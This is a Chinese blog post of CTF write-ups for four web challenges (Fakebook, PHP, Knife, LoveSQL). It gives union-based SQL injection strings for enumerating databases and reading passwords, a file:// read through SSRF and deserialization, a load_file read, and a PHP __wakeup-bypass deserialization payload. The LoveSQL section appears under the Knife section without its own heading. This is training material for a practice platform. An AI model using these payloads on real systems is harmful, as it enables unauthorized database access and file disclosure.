本篇內容
[網鼎杯 2018]Fakebook
[極客大挑戰 2019]PHP
[極客大挑戰 2019]Knife
[極客大挑戰 2019]LoveSQL
[網鼎杯 2018]Fakebook
掃描後發現敏感文件robots.txt
和flag.php
文件,訪問robots.txt得到/user.php.bak
源碼備份,訪問flag.php卻沒結果。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//CURLOPT_RETURNTRANSFER:將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_exec():執行 cURL 會話
$output = curl_exec($ch);
//CURLINFO_HTTP_CODE : 最後一個收到的HTTP代碼
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
//調用get()方法執行我們傳入的blog,這裏就存在着SSRF漏洞;
//之前我們訪問flag.php沒有結果,那我們在這裏可以使用file文件協議訪問flag.php,由服務器給我們執行再返回結果。
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
//blog裏執行輸入這些,輸入其他的就會被過濾掉
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
先去註冊一個用戶並顯示:
view.php?no=2 //回顯不正常
view.php?no=2 or 1=1 //回顯正常,說明存在注入點
開始嘗試order by猜字段數
view.php?no=1 order by 5 //報錯,[*] query error! (Unknown column '5' in 'order clause')
view.php?no=1 order by 4 //回顯正常,說明有4個字段
開始爆庫、爆表、爆列、爆字段
view.php?no=0 union select 1,2,3,4 //報錯,no hack ~_~
view.php?no=0 union select 1,2,3,4 //回顯正常,猜測過濾了“union select”,但是union和select都沒有被過濾,中間弄成兩個空格即可繞過。而且username處顯示了數字2,說明此處就是回顯位。
view.php?no=0 union select 1,database(),3,4 //爆出數據庫“fakebook”
view.php?no=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() //爆出表名“users”
view.php?no=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' //爆出“no,username,passwd,data”
view.php?no=0 union select 1,data,3,4 from users //爆出“ O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";} ”
從O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}
可以看出表中存的是反序列化的結果,那我們自己構造反序列化結果傳入,使用file協議讀取flag.php。其餘的不變,就是將s:13:"www.baidu.com";
改爲s:29:"file:///var/www/html/flag.php";
即可,我偷懶不寫程序來反序列化,因爲反序列化的構成就是固定的s:內容長度:"內容";
。
那麼最終payload:
view.php?no=0 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
這裏需要注意,union select 1,2,3,4
,寫在第4個位置上是因爲程序執行的是blog,寫在之前的第2個位置上沒用的。最終拿到flag。
方法二:
沒有過濾load_file()方法,那麼直接讀就好了,payload:
view.php?no=0 union select 1,load_file('/var/www/html/flag.php'),3,4
[極客大挑戰 2019]PHP
文字提示備份,懶得掃描,直接嘗試一下最常見的幾個備份名,發現www.zip
就成功下載到了備份文件。
代碼審計一下
index.php
關鍵代碼:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
代碼:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) { //說明password爲100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //說明username爲admin
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
代碼:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
知識點:
__construct():實例化對象時被調用。
__wakeup():unserialize時被調用,先運行__wakeup()函數做些對象的初始化工作。
__wakeup()函數漏洞與對象的屬性個數有關,如果序列化後的字符串中表示屬性個數的數字與真實屬性個數一致,那麼就調用__wakeup()函數。
但是當屬性個數的值大於真實屬性個數時,會自動跳過__wakeup() 函數的執行。
__destruct():當刪除一個對象或對象操作終止時被調用。
注意:私有字段的字段名在序列化時,類名和字段名前面都會加上\0的前綴。這裏是因爲username和password爲私有字段。
那思路就很清晰了,先創建一個Name對象,username爲admin,password爲100,然後將之序列化。因爲index.php裏會自動將之反序列化的。
$test = new Name('admin',100);
print(serialize($test));
得到了O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
,
繞過__wakeup()
方法,當屬性個數的值大於真實屬性個數時就好,
修改爲O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
,
考慮到username和password都爲私有字段,需在類名和字段名前加\0
,
修改爲O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
,
注意,若是寫python上傳的話就這樣寫就好了,但是懶得寫python,想直接在瀏覽器上傳,那就需要將\0
改爲%00
,
修改爲O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
。
嘗試上傳:
拿到最終flag。
[極客大挑戰 2019]Knife
直接上蟻劍連接,在根路徑下找到flag。
以下內容都是填在框中的,這裏這麼寫只是爲了方便表述。當然的,在hackbar下只需要將#改成%23即可。
username=1&password=123 //顯示 NO,Wrong username password!!!
username=1'&password=123 //報錯
username=1'#&password=123 //顯示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //顯示 Login Success!Hello admin!Your password is 'xxx'
開始嘗試order by猜字段數
username=1' order by 4#&password=123 //顯示 Unknown column '4' in 'order clause'
username=1' order by 3#&password=123 //顯示 NO,Wrong username password,說明有3個字段
開始爆庫、爆表、爆列、爆字段
username=1' union select 1,2,3#&password=123 //顯示 Hello 2!Your password is '3',這裏表明有2,3兩個回顯位
username=1' union select 1,database(),3#&password=123 //得到庫名“geek”
username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123 //得到表名“geekuser,l0ve1ysq1”
username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=123 //得到列名“id,username,password”
username=1' union select 1,group_concat(password),3 from l0ve1ysq1#&password=123 //得到flag
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/105411903
========================================================